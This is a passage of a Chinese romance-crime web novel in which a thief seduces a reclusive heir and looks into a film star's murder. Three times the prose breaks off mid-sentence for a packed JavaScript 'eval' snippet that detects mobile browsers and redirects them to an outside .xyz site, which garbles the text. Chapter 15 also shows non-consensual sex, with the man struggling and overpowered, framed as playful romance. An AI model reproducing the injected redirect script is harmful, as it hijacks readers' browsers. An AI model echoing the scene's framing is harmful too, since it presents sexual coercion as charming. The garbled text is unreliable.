她一定要查到王有才的行踪。 切诺基行驶在风里。 目的地,温沙城堡。 15. 第 15 章 高倍望远镜里,温沙城堡没在一片黑压压的乌云下,照不到一点月光,像极了恐怖小说里闹鬼的古堡。 南希将视线锁定城堡三楼。 没开灯,温大少应该睡了。 这样想着,她用余光扫了眼手表:九点半,不能再等了。 她着急跳下切诺基,在树林中穿梭,身形矫健,如鬼魅一般。 几分钟后,那三楼的窗户无声无息地开了一条缝儿。 一条纤长的小腿踏了进去。 她的动作太轻了,真得就像鬼,以至于屋内半躺在床上的男人,在她跳下窗台时,才堪堪察觉到什么。 男人转过头。 天边的乌云已经飘动,月亮露了一半。 银沙似的月光就这样洒在了他脸上。 “谁?” 他说,语气轻盈,虽然是句问话,却不带任何疑惑的情感。 窗边的女人背对月光,周身散发着淡淡的光晕,轮廓被勾勒得很漂亮。 她没有回话,一动不动,好似凝固了。 男人放弃追问,沉吟:“你忘了关窗。” “哦。还真是……” 窗户轻轻关上了。 然后,女人深吸一口气,走得近了些。 步伐克制,却携有一股喷薄欲出的激动,连带着她的声音都在发颤: “你……你是温大少?” 她边说边迈出阴影,脸庞在月色下清晰起来。 眼睛瞪得滚圆,一只大一只小,就像受到了某种猛烈的震惊。 温雪生视线闪躲,侧头:“不然呢……” “可是,你的脸……” “这个呀……碰到了厉害的医生,现在好一些了。”温雪生语气平稳,听不出喜悦,他犹豫了大概几秒钟,再次开口,“你怎么,怎么又来了?南希……” 南希自从跃入这间屋子,就忘了来这的目的,开始反复为自己筑建防线。 然而,此时此刻,再牢固的防线也没有用了。她还从来没听谁叫她的名字,叫得这样酥。 尤其是配上眼前这张脸……对,问题出在这张脸。 南希走过去,坐上温雪生的床,抬手蹭着他的脸,将五指插.入.他柔软的黑发。 慢慢攒动,揉抚。 “你干什么?!” 温雪生紧急握住她的手腕,强行制止。 南希不作声,任他攥着自己,眼神迷离,好似在欣赏一件艺术品。 她还沉浸在刚才窗户开启的那一瞬间: 月光朦胧,她蹲在窗台,见到了这世间最澄澈明亮的眼睛和最纯粹干净的笑容。虽然那双眼睛在发现她时变得冰冷,笑容也不复存在,但她还是捕捉到了。 心脏短暂地停止了跳动。 原来,温大少就是书架上的纯.欲.小美男。 她怎么才想到这一层? 南希回过神,盯着温雪生细腻的冷白调皮肤……上面依然印着藏青色纹路,却淡淡的,已经不能影响他的好看。 他整个人就像是一捧刚融化的新雪,带着初春的凉意与剔透。 南希捂住胸口,痛心疾首。 “少爷,你要是早跟我说,那个摆台上的人是你,我之前也不会对你那么凶。” 温雪生别着头,冷冰冰:“你认错人了。那不是我。” “你还想赖?你们长得一模一样!” “照片是假的,我爸找人用Photoshop弄的。” “Photo,shop?” “一种可以修改图片的软件。” “你还懂这个?” 温雪生不再回应,脑袋压低。 南希立马趴他大腿上,然后抬眼瞅他。 他腮帮子鼓着,看起来并不开心。 南希心想,或许是自己刚才的语气不对,有点像嘲讽? 她赶紧陪笑:“大少爷肯定懂得多,比我多!那既然是用你的照片Photoshop的,就肯定是你呀。” “……不是我。”温雪生语气倔强,“我脸上的脏东西不会消失。” “可是现在已经变得很淡了,快看不出来了。” “那也是存在,白天在太阳底下,依然……可怕。” “乐观点,现在能变淡,将来肯定能消失。” “不会。” “……”南希不想再跟他争执,要是继续这样下去,这张纯.欲.的小脸都会变得不可爱。她还是更喜欢他不说话只微笑的样子。 她贴到温雪生身上,手指再次灵活地在他脸颊揉动。 “好,不会,不会。别苦着脸了,你笑一下嘛。”她幽幽地说。 温雪生满脸涨红。 “别乱动!” 他握着南希的手腕往一边甩,却没甩动。 他的身体并不强壮,蓝宝石离体后,他比之前更加虚弱。 南希瞥瞥对方暴起青筋的手,偷偷抿嘴:“好了,不要这么激动嘛,你笑一下,就一下,笑完我就走,好不好?” 温雪生:“……” 他被她骗过,上次她答应不亲他,却还是亲了。 南希也想到了那个欺骗,左手并拢举在耳边:“我发誓,这次是真的!”她声音一顿,又柔柔地补了几句,“我的身份少爷都知道,少爷捏死我就像捏死一只蚂蚁,我怎么敢骗少爷呢?” 实在太真诚了。 温雪生眼皮垂下,长长的睫毛颤颤闪动,他决定再信她一次,嘴角僵硬地上扬了几分。 如此勉强的笑,已经不能称作笑了。 南希却心荡神驰。 恍然间,脑海里飘过景天C座28层的不堪场面:一堆裸.漏.的中年丑男挤在一块儿,令人作呕。 如果男人终将会变成那副恶心的模样,那么,她想留下他们最清澈的一面。 现在即永恒。 天意难违。 南希手下使了劲儿。 眼前病弱的身体被她一手推倒。 而另一只手,像虫子一样,蜿蜒摸进那身体的衣领。 不及对方出声,嘴巴顺势覆上他微张的双唇,轻.咬,吮.吸,探.入。 贪婪得像是许久没吃过食物。 南希纵情亲.吻身下的男人。 没有一句解释,甚至没有一句话。 温雪生茫然,只剩挣扎。 挣扎几下后,双手被捆住压过头顶,双腿被夹住没法动弹。 他咬她的舌头,咬几次,竟又被缠住,口.腔.里满.满的都是她…… 渐渐的,他能使的伎俩一一减少,呼吸越来越急,越来越重。 他的睡衣扣一个个开了。 精瘦胸膛起伏不定。 上衣撕了。 纹路纵横的身体裸.漏.,溢出颗颗水珠。 他感到一条湿热的小蛇在自己身上游动。 温柔的,粗暴的,一点一点往下,再往下。 然后,他浑身颤抖。 脸上露出痛苦。 痛苦中有隐忍,隐忍中又似乎掺着一抹的说不清道不明的复杂神情。 他闭上了眼。 他失去了一切反抗能力。 …… 一个小时过后。 温雪生蜷着身体,摸过棉被,盖住自己的下半身。 南希钻进他刚刚“搭”好的被窝,从背后抱住他,红扑扑的脸蛋蹭他的脊沟,声音略略虚软:“想不通,明明是第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223779|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次,却这么久。你到底是病了还是没病?我怎么觉得你不需要每天看医生……” 温雪生把头埋进被窝。 南希追过去。 声音挠他的耳垂。 “嗯……你刚刚推不开我,难道是装的?你……” “我不是!”温雪生疾声,仍然背对南希。 “嘘,小点声,别引来人。”南希翻到他正面,笑嘻嘻,“那是什么呢?我听说男人有两套系统,看来有些道理哎。” 被子就这样被带开了一角,月光钻进来。 南希看到温雪生湖泊一样的右眼和红苹果一样的脸蛋。 温雪生立马转身,手背在后面推她。 “你走!滚!我不想再看到你!” 动作放肆又克制,像是怕真的推到了她。 南希打开他的手,搂住他光滑的腰。 “好啊,我走,我滚,但是得再来一次。” 她亲了他一口。 温雪生回头,瞳孔缩紧,甚至来不及躲她的吻:“什,什么?!” “我,还想再要.你呢。” 棉被彻底被掀飞。 那晚,温雪生躺在南希身下,再也没能起来。 他迷迷糊糊的,也不知最后是睡着了还是没睡着,等再恢复完全的清醒时,已经是第二天中午,房间里只剩下他自己。 太阳耀眼,金色阳光铺了一地。 手指动了几下,身体也跟着动。 累,疲惫,头痛,腿酸。 像是大病一场,大梦初醒。 等等……胸前,有什么硬硬的东西。 伸手去拿。 一个信封。 他艰难地把身体撑起,心跳到了嗓子眼。 犹豫了一会儿,还是决定拆开信封。 里面竟然有一沓灰蓝色人民币,一、二、三……八张。 在那个年代算是普通人一个月的工资。 除此之外,还有一张纸。 纸上字迹飞舞却清秀,与那留在保洁档案上的字表截然不同。 打眼看去,四行字。 第一行:“巧了,我才发现今天是二月十四!情人节快乐!” 温雪生嘴角隐隐上扬。 第二行:“我先走了,再不走,会被发现的,你也不想吧?” 温雪生无意识点头。 第三行:“色令智昏啊!我把正事都给忘了!据说你家夜总会需要预约,我想拜托你帮我查下,最近两天有没有大明星王有才的预约信息。紧急紧急!查好了得立马给我打电话:13952168367。” 温雪生继续往下看。 “最后,关心一下我的大少爷。昨晚你没事吧?最后是不是撞到头了?实在不好意思啊,我情绪来了就控制不住自己……我这儿也没什么能补偿你的,就剩八百块钱,全给你了!不够的话以后再补!抱歉抱歉!” 咔嚓卡嚓—— 纸瞬间成了纸团,被狠狠扔了出去。 说巧不巧,李大发刚推开房门,堪堪被砸中脑袋。 他一怔,弯腰就要去捡那纸团。 “别动!” 一声气急败坏的嘶吼传来。 李大发的手僵在半道,缓缓抬起头,对上温雪生想要吃人的猩红眼睛,哆嗦一下,很快挤出笑脸:“少爷,您终于醒了,这是咋了,做噩梦了?” 可事情并不像他想的那么简单。 温雪生身上散发着一种气,这在火拼场上常见。每当敌人想把他弄死时,都会放出这种气。 他正要委屈,注意力就被更要紧的事情震住,嘴巴凹成了一个“O”形。 “少爷……你,你脸上的条纹……都没了!” 16. 第 16 章 温雪生眉宇紧蹙,他并不相信李大发的话。 “乱说什么。” 李大发情绪激动:“少爷,我没骗你!一条都没了!真的都没了!不信,你自己看啊!”说着,他从桌子上抄起一个小圆镜,快步递给温雪生。 温雪生赶紧对着镜子查看。 皮肤光滑、白皙,像瓷器。 整张脸跟那书架上photoshop的照片一模一样! “诶?” 一旁,李大发又发出震惊的声音。 “少爷,您脖子上怎么红了一块?这才刚开春,难不成就有蚊子了?” “……#” * 当天下午三点。 南希收到一个陌生来电。 她躺在切诺基后座,懒懒的:“喂,请问哪位?” 听筒里一片白噪音。 南希瞄了眼摩托罗拉的黑白屏,确认电话接起来了。 “喂?请说话?喂?”顿了一下,“是温大少吗?” 另一边传来一阵轻咳,接着—— “嗯,是我……别再叫我温大少。” 声音很有磁性,好听! 南希有了精神,从座子上弹起。 “那叫你什么?嗯……小生生?” “……不行。”是生气的语气,可很快又泄了,“算了,随你叫什么……” “好呀,小生生。你头还疼吗?”南希心情特别好。 “不疼。” “唉,可是我疼,浑身都疼……” 委屈音。 南希听到一阵吸气声,脑中浮现出温雪生害羞的小脸。 只是电话里的声音仍然冷漠: “你还想不想要王有才的消息,不想的话,我挂了。” “别——”南希娇滴滴,“——我就知道你能打听到,你找我就是为了告诉我对吗?小生生,你可真好,谢谢你~” 又是一阵轻咳。 南希静静等待她想要的回应,并没关心对方是否感冒生病。 温雪生如她所愿:“王有才今晚八点会去岳阳路的碧海阁,房间海上天堂。” 南希:“OK,谢谢。” 温雪生:“不用说谢,但你需要告诉我,今晚,电视里的‘红发女鬼’是不是要现身碧海阁?” 南希:“小生生,你真聪明。” 温雪生的声音沉下去:“李大发说,那地方很乱……” “哦?小生生,你不知道嘛,‘红发女鬼’最不怕的就是‘乱’。” * 晚上八点半。 碧海阁来了位“红”女郎。 红发,红海军领,红百褶裙,红蕾丝网过膝袜。 这身日本动画片里才有的打扮,哪怕在花天酒地、穷奢极欲的高级夜总会,也十分惹人瞩目。 女郎尽情享受人们投来的复杂目光,像大明星那样,走得仔细,一步一步,登上台阶,穿越长廊。 一个袒着胸膛的醉汉从包间里撞出,一眼就瞧见了她,顿时眼冒淫.光,涎水横流,摇晃肥头大耳,直扑过去。而她巧妙闪躲,只留给对方一个香气逼人的飞吻。 完成这些后,女郎潇洒甩身,正式踏入通往“海上天堂”最后的路。 * 据刘总的消息,“海上天堂”位于碧海阁顶层,是整栋楼里最奢华的包间。里面没有窗户,想要混入,只能通过正门。 也就是说,南希必须以光明正大的身份,正大光明地走进去。 而在这种鱼龙混杂的地方,只要胆子够大,任何身份都能通过自己给到自己。 南希想起领班,想起黄经理递的小纸团。 乌黑的眼睛里凝出道锐利的光。 晚八点四十五,她以新身份看见了“海上天堂”装饰夸张的大门。 门口并排站着几个年轻女孩,上身大棉袄,下身超短裙,身形很是漂亮。 一个梳小油头的中年男人在女孩们前面挥着手,好像在训话。 那男的稍一侧头,便瞅见了打扮红艳,清丽却诱惑的南希。 “诶,你……”像是习惯在女孩面前颐指气使,他立马伸出一根指头指她,虽然眼里尽是疑惑,“你是干什么的?!” 南希眯起月牙眼,小跑过去,大腿根“嘶嘶”的疼,她有些后悔昨晚无节制开大了。 但脸上甜美依旧:“领导——” 南希的处事法则,任何时候遇到任何人,喊领导绝不会出错。 “——我是来找王哥的~” 小油头还是满脸懵:“哪个王哥?” 南希扭着上身,开玩笑似地推了他一把:“还有哪个?大明星呀!” “哦……哦!”小油头恍悟,打量南希,“你也想演电视,来这面试的?”语气中竟带着丝轻蔑。 南希娇笑:“嗯呐,我报了王哥的培训班。” “成。那个,现在里面表演节目,不好进去,一会儿你就跟这些面试的一块儿吧。” 南希瞥了眼旁边紧张兮兮的女孩们,点头,“谢谢领导。” 五分钟后。 南希排队进入“海上天堂”。 蓝光、紫光、红光、绿光……各色光线打着转儿扫过沙发上的中年男人: 有的肥头大耳,有的衣冠楚楚,有的带大金链子,有的金丝眼镜镶金牙……这要是在大街上碰着,怕是没人会将他们联系到一起。 南希低着头,暗暗寻找王有才,待眼珠转到沙发最边上时,一条被光线照得五颜六色的腊肠进入了视线。 “你,穿红衣服的,面试就要有面试的样子,抬起头来。” 耳边突然响起道赖叽叽的□□声。 南希收回目光,听话照做,露出标准的动人微笑。 几乎同一时间,一道道视线齐刷刷地射过来,带着审判意味。 南希不太舒服。 坐中间的大金链子“啧啧”两声,露出金牙:“小王,这次的还真不错啊!” 王有才起身,隔着好几个人,哈着腰回:“金总您认可就好。” “不错不错,你把有财改成有才后,还真是有才多了啊。” 周围有人附和:“可不是嘛!当时我还问他为啥改名,您猜他咋说?” “咋说?” “让他自己说!” 王有才嘿嘿笑:“呵呵呵,让您们见笑了,我说有才才能有财……” 大金链子拍手:“妙啊!不错不错!有才有财!”他看向墙边列成一排的女孩,“你们都听着了吧,想出名就得有王大明星这种觉悟!小王,今晚这些都是好苗子,你也得好好培养!这次,就让你先选吧!” 王有才咧嘴,跟他演的太监一样:“诶,谢金总!” 他也看向女孩,“想必大家都认识我,我就不介绍自己了,给你们好好介绍下这几位!他们可了不得,都是咱们业内有名的制片人和投资人,金总,刘总,李总,孙总还有王总。一会儿,几位领导会选出合眼缘的学员进行面试,面试通过后还会给你们进行一对一的辅导!多么难得的机会啊,你们一定要好好珍惜,拿出自己最好的状态!” 女孩们挺胸昂头,鼓掌。 王有才继续:“下面,我将先选出,由我进行面试的学员。” 他的视线迅速移动,像在挑选货物。 南希紧紧盯着他,眼波柔情如水,颤颤眨动。 她自信,没有男人能从她这双眼睛底下逃走。 王有才果真受到诱惑,视线停在她身上就不动弹了。 南希心里叫好:成了。 然而,这鬼迷心窍之人竟缓缓举起手,眼睛虽看着南希,指尖却朝向了她身边的女孩。 “你,来我这儿吧。” 女孩满眼放光,几乎要手舞足蹈,好像明天就能跟着大明星上电视一样。 南希则被剩到最后,留给了那位大金链子。 没一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248330|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,蓝光、紫光、红光、绿光……停止旋转,一点点暗了、灭了。 周围的黑暗里,南希隐隐看到一个肥男在解腰带…… “看啥呢?这位学员,之后由我来负责你的面试和培训,来,过来。” 正前方,大金链子眼睛眯成缝儿,朝她伸出了黑糊糊的胖手。 呕—— 南希觉得胃病加重,改天得挂个消化科看看了。 还有她的肝好像也不太好,最近火气忒旺。 “怎么还不过来呀?是想让老师过去接你吗?”大金链子从沙发上站起,他坐过的地方深深凹陷,并没有发生回弹。 南希直视他,笑得妩媚。 双手背在身后。 攥紧的手心里,不知什么时候多了个光面的金属球。 “那老师可就来了!” 大金链子慢慢靠近,一步,两步…… 南希捏住金属球,只要对方迈出第三步,那球就会准确地砸向他的酒渣鼻。 撞击的力量会使金属球爆成两半,释放出里面的瓦斯。 然后,她将趁乱抓住王有才,用高跟鞋把他碾在身下,从他脖子上扯走白玉佛。 最后再通过来时一步一步确认好的路线,混入楼下包间,翻窗逃出生天。 这是今天的PlanC,被南希列为走投无路时才会考虑的危险选择。 只要错一步,就有可能万劫不复。 然而,PlanA和PLanB并未执行。 PlanC越级提前。 在刚刚被挑选的空闲中,南希的大脑飞速运转—— ——什么面试辅导,都是些骗人的幌子! ——为行业进步,日理万机的劳模明星是假,皮条客才是真! ——培训班是假,犯罪场地才是真! 拉皮条拉竟然能拉到她头上,笑话。在这个世界上,只要她不想,还没有男人能用恶心的嘴脸和脏手碰到她的一根毫毛。 都是她的玩物,还轮不着这些东西以下犯上! 箭在弦上。 ……第三,步。 不得不发! “啊啊啊,警察,警察,警察要来了——!!!” 嘭! 大门被撞开了。 强烈的光线射.进昏暗的“海上天堂”。 门口,小油头的油发一缕一缕粘在了额头上。他扶着门框,气喘吁吁:“老板们,快走吧!刚收到情报,警察要来了,就一个路口的事儿了!” 王有才惊叫:“怎么会有警察?!” 小油头快哭了:“我也不知道啊!温四爷的地盘什么时候闹过警察呀……” 然而,在他说出第一个字时,就有肥男提着裤子逃了出去。 不到一分钟,诺大的包间只剩下一群惊惶失措的女孩。 那些看起来牛x哄哄的大人物,早就像老鼠一样跑了个干净。 事发突然,南希来不及多想,她收好金属球,开灯,转身。 有几个女孩好像意识到了什么,脸妆已经哭花。 南希吆喝:“哭有啥用?!别愣着了!没看着那些男的都跑了啊!” 女孩们相互看了一眼,抹干眼泪,蜂拥而出。 南希追上她们:“跑快点!被抓着可能得吃牢饭!以后多长点心眼,别再被那些虚荣的假象给骗了!今天这就是教训!” …… 逃窜的人越来越多,走廊上鸡飞狗跳,乱成一团。 第二天,南希在新闻广播里得知,二月十四日晚,碧海阁发生了一起严重踩踏事故,多人受伤,被勒令停业整顿。 自此,碧海阁这艘驰骋大海多年的巨轮,被海啸打击得四分五裂,再也没能启航。 而那则新闻后面,还跟着另一条爆炸性消息。 播音员毫无感情的声音通过电波传送至每一个收音机: 二月十五日凌晨,我市著名演员王有才逝世,享年51岁。 17. 第 17 章 南希睡了一大觉。 精神饱满醒来时,手机里多了好几个未接来电。 刘总的电话号码出现了四次。 烦。 不想理。 剩下有三个号码……不熟。 她随便选了一个拨回去:“喂,请问您是哪位?给我打电话了吗?” 对面:“……你不知道我电话?” 南希一愣,这个声音…… “小生生?!” 她几乎是喊出来的。 “嗯。” 激动过后,南希陷入紧张。 毕竟,她才去了趟碧海阁,那地方就被强制整顿了。 “你是来找我问罪的吗?冤枉!不是我……你们家碧海阁出事前我就走……” “王有才死了。”温雪生打断她,并且提高了声音。 “啊,这事我知道,我跟你说,特别邪乎……”南希顿了下,“诶,你这语气,该不会觉得王有才的死跟我有关吧?我告诉你啊,我可是良民,只偷东西不搞人命!” “这也算良民?” 南希鼓起腮帮子:“你还有别的事吗?我忙得很。” “王有才死了。”温雪生重申。 “被人拿刀捅死的。” 南希:“!” “昨晚,有人在他死亡现场附近看到了一个披着红色头发的背影。目前,警察已经锁定‘红发女鬼’为犯罪嫌疑人。所以,不管你现在在哪,做什么,尽快躲起来,不要继续作案。” 南希严肃起来:“你怎么知道这些?” 温雪生没作正面回答:“消息可靠。” 胸口“嘭嘭”跳着,南希抬手按住。 “谢谢。” 她挂断了电话。 没一秒钟,手机又“哔哔哔”地开始闹腾。 斜眼。 是刘总。 南希按下接听键。 “小张啊!!王有才死了!!!” 又是这句话!南希想摔手机。 “知道知道知道!我今天一大早就在广播里听着了!真是靠了,他早不死晚不死,怎么偏偏这个时候死!” 南希愤怒地把温雪生的消息转告给刘总。 刘总听后,沉默了好一阵,再开口时,语气难得恢复了平静。 “那你昨晚去没去王有才被杀的地方?” 南希回想起昨晚的事。 恍恍惚惚,亦真亦幻。 她眯眼对着话筒:“很不幸,昨晚,我不仅去了,我还在那地方待了整整一夜。” * 二月十四日晚九点二十五。 “警察!警察要来了!大家快跑!!” 因为这句话,不知哪个没脑子的把碧海阁的大门锁了,说是要挡警察,于是,所有人只能通过狭窄的后门逃生。 夜总会光线昏暗,人们跑得急,不管不顾,肩摩肩、脚踩脚。 南希看情况不妙,直接避开人群翻了窗。 街上行人不多,她顺利溜进胡同里的切诺基,喘了口气,然后习惯性地打开便携电脑。 屏幕上,代表王有才的小圆点正迅速朝北移动。 这孙子逃得还挺快! 这样想着,南希忽地一愣。 王有才车上的定位器竟然能发信号了! 她立马带上耳机,连接定位器旁边的窃听器。 也有声音。 “快开,再快点!” 是王有才的癞□□声。 南希果断提手刹,打火,盯着那小圆点,一脚油门追了过去。 一路追到济东北头。 王有才的车消失在一栋大别墅里。 南希随即一手举望远镜,一手转方向盘,绕别墅转了一圈。 这别墅的外墙比一般的都高,整整挡了一层半的窗户。南希从外面观察,能获得的信息非常有限。 而且别墅灯火通明,像是住着很多人。 这种情况,即便她换上夜行衣溜进去,怕是也很难找到能落脚的阴影地儿。 南希不敢贸然行动,理了理头绪,决定等,等王有才自己出来。 别墅的灯就这样一直亮着,直到四个小时后,一阵警笛打破了深夜的平静。 远远的,南希瞧见四辆警车和一辆救护车飞速开进了别墅。 没多久,别墅三层楼全部陷入黑暗。然后,几辆车一一驶离。 她又通过高倍望远镜看过去: 一扇扇车窗后面,映着一个个受惊的脸。 警车里竟然坐满了年轻漂亮的女孩! 南希简单描述完这段经历,起身打开窗户,点了一根烟。 刘总好不容易才平静下来的声音,又多了几分不安:“小张,你的意思是,你虽然在那地方呆了很久,但压根就没戴着红头发下车?” 南希吐烟圈:“Bingo。当时我摸不清状况,警察走后,我又继续待车上等到天亮,然后就听到了王有才去世的消息。” 刘总:“那你今天白天干什么去了?你电话怎么一直打不通?” 南希叹气:“刘总,你能多用脑子想事,而不是用脚趾头想吗?我能干什么呀?我通宵犯困睁不开眼,我当然是回家补觉去了啊,不休息休息今天咋干活?” “王有才都死了你还睡得着?!” “不做亏心事不怕鬼敲门,王有才又不是我弄死的,我为什么睡不着?” 刘总噎住:“好好好,小张,你厉害!你任务没完成,还成了杀人犯!我就看你接下来打算怎么办?!” “呸,晦气!谁是杀人犯啊!” 初春的风拂过少女白皙的脸庞。 南希望着远处的钢筋混凝土工地,又吐出一个烟圈。 竟是颗爱心的形状。 她眉心舒展,眼睛也亮了,在烟圈未被吹散之前,伸出手指戳到爱心中间,满意地笑起来。 “刘总,你别急呀。其实一开始我也急,但是事情乱成现在这个样子,我反而不急了,急也白搭。至于接下来,我打算今晚去那栋大别墅里好好转转。” * 晚十一点。 南希在北郊别墅悄悄摸索。 别墅外面拉着警戒线,里面还保持着之前混乱的现场,只是少了制造混乱的人。 南希迈过一片呕吐物似的脏东西,和一堆横七竖八的啤酒瓶,找到王有才倒下的地方。 血迹已经干涸,木地板上画着歪歪扭扭的人形轮廓,周边围了一圈黄色警戒线。 窗户半开着,风裹着月光“嗖嗖”刮进来,阴森森的,像是谁在哭。 南希打了个寒战,小心翼翼地绕过这个死亡现场,不想再停留一秒。 她怕鬼。 但除此之外,她几乎翻遍了整个别墅,都没找到其他特殊信息。 她想,白玉佛大概被王有才的尸体带走了。 当然,这是一种对她有利的可能性。 虽然恐怖了点儿,但从死人身上偷东西,比从活人身上要容易得多。 同样,也存在不利的可能,比如说,白玉佛落到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248331|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了其他人手里…… 南希摇了摇头,控制住自己的胡思乱想。 她是走狗屎运的,对她来讲,只考虑有利的情况就好了。 心情放松了些。 视线不经意地,扫到不远处警戒线里的人形轮廓。 看来,第一步得确认王有才的尸体在哪儿。 嗖嗖—— 外面再次掀起阵风。 窗边的白纱帘飘飘荡荡,折射着点点幽幽的红光。 红光…… 哪里来的红光?! 刹那间,南希浑身汗毛竖起,一种被无形之物的窥视感,死死贴着后背。 身体在一点点僵硬,快要动不了了。 趁着还能动,她是该逃还是回头看看?! 叮铃—— 一枚两毛钱硬币落到地上。 她瞄过去。 正面。 回头看…… 怎么能是正面?!她不敢回头啊…… 要不再抛一次…… 哔—哔哔—哔— 手机铃声? 兜里的摩托罗拉在响。 哪个混蛋这个时候打电话?! 南希回想起曾经因好奇看过的外国恐怖片,额头滑下冷汗。 她真的要动不了了。 铃声便继续响,响了停,停了又响…… 再这样下去,就算没鬼也得把鬼给招过来。 靠! 南希咬牙闭眼,强行催动手臂掏出手机,颤声:“喂?” “……是我。不是让你躲起来吗?为什么还要去案发现场?” “……” “你怎么了?为什么不说话?……你哭了?” “……笑话,我怎么会哭?”南希擦了擦被吓出泪珠子的眼角,“说起来,刚才我感觉有人盯着我,原来是你派人监视我呢,小生生?” “我没派人监视你。” “那你怎么知道我在这儿?” “我是,我是让人看着那栋别墅……” “没事你干嘛让人看……”话说不下去了。南希意识到,王有才跟隐居城堡的大少爷八杆子都打不着,温雪生这么做,只会有一个目的,“难道,是因为我?我猜一下,你想及时掌握案发现场的情况,帮我洗清嫌疑?” 电话另一头没再出声。 南希当他默认。 心里涌上一种说不明的复杂情绪,竟直接把刚刚的恐惧挤到了一边。 她拿着手机,转过了头。 天花板上,一个忽闪忽闪的红点正在注视她。 “小生生!”南希捂住嘴,尽量将自己惊讶的喊声控在手心,“我好像发现了一个不得了的东西!” 说着,她跳上身旁的圆桌,纵身一跃,把那东西够了下来。 如她所料。 “是监控器。” 温雪生回:“监控器……这东西价格不低,用起来也费钱,温沙城堡都没装,王有才竟然这么舍得?还有,为什么警察没把它带走?它……” 话没讲完,电话里响起南希的嘟囔: “打不开。” 温雪生:“什么?” 南希:“监控器上都会有记录录像的磁带,我手里的这个被加了电子密码,打不开。” 温雪生沉默了几秒:“找找别墅里还有没有其他监控器,如果有,一起带到温沙城堡。我帮你破解。” “啊,你?” “……和你一样,我也是济东大学的。专业是计算机科学与技术。” 18. 第 18 章 “这些给你,真能破解?” 南希蹲在温沙城堡三楼窗台,左手扶窗框,右手提大包。 温雪生感受到一阵凉风,抬起头时,便瞧见了乱飞的纱帘和披着银色月光的女孩。 “咳……”他清了清喉咙,“我跟你说过,今天可以走正门……” 南希跳下窗,没有一丝声音。 温雪生难得没躺床上,也没穿邋遢的睡衣。他坐在书桌前,手里翻着一本厚重的书,身上利索衬衣配西服,一看就是精心打扮过的。 “还是走窗户方便点,一进来就能看到你,而不是看到那张刀疤脸。” 她的嘴角咧到了耳根。 温雪生视线闪躲:“你,你为什么笑成这个样子?” 南希一步步上前:“心情好。” 不知是光线太暗,还是发生了错觉,她觉得温雪生脸上的纹路,好像一条都瞧不见了。 眼前这张脸光滑白嫩,实在漂亮得有些过头。 “别过来。”温雪生提高嗓音,“我只答应你破解密码,没答应别的……”他起身去够南希手里的大包,好像只要拿到东西,对方就没理由再靠近。 南希预判到他的动作。 “别动,沉……” 虽然这样说,她还是松了手。 温雪生便被那一大包沉甸甸的监控器拽得向一侧歪去,南希跟着他,一手楼住他的腰,“都说了别动。”另一只手借势在那张小脸上揉了一把,“呦,还真是一条纹都没了呢。上次谁硬跟我犟来着?” “别太过分!” 温雪生恼羞成怒,推开她,身上虚汗直冒,嘴里粗气直喘,“戏弄我就那么好玩吗?!” 南希见他真生气了,楚楚可怜地看他:“我哪有戏弄你,是你来抢监控器的……是你说纹消不了……还有,你,哪儿我没碰过……” “你……” 听完这些,温雪生只觉得一闷气堵在了胸口,仅剩的右眼顿时失了焦,身体晃晃悠悠地倒退,如果在武侠片里,下一秒大概要喷出血来。 南希吓坏了,追过去,忙扶他坐椅子,替他捋前胸顺气。 “好了好了,别气了别气了,我不说话了还不行吗?”脑袋耷拉着埋他腿上,“小生生,你可别吓我啊,我要是早知道你气性这么大,肯定不会逗你……” 温雪生没见过啥世面,火性来得快去得也快,算是个好哄的男人,见南希认错道歉,气息渐渐平稳了下去。 南希斜眼,瞅到他起伏放缓的胸膛,竟又开始不老实。那顺气的手悄悄解开他卡在喉骨的扣子,沿着衣领摸进他的左胸。 温雪生按住她,喘息又急:“你,你是不是真想让我死?” 南希下巴抵着他的大腿,从下往上看他:“怎么会?小生生,你还没帮我破解密码呢。” “破解了就可以让我……” 南希打断:“破解了也不舍得。” 温雪生低头,衣扣开了三四个,除此之外,一张委屈的脸蛋几乎靠在了他两腿.根儿上, “……你这样……我怎么解?” “唉。”南希意犹未尽却又无可奈何,不舍地放过了他。 温雪生赶紧跌跌撞撞逃回书桌。 南希杵在原地,只用目光追他,回想起自己对他三番五次的欺骗,皱紧眉头:“小生生,你不会不帮我了吧……” 温雪生按下电脑主机的开机键,脸上顿时泛起一层蓝光。 “……你以为我会跟你一样?”声音停了几秒,“把监控器拿过来吧……” “好!” 南希乖乖听话,还搬了个凳子,坐书桌边上,安静地看他忙碌。 却只安静了一会儿。 “小生生,你这是怎么弄的?说实话,我没想到你真能搞这玩意儿。” “小生生,你连温沙城堡都出不去,怎么上的大学?” 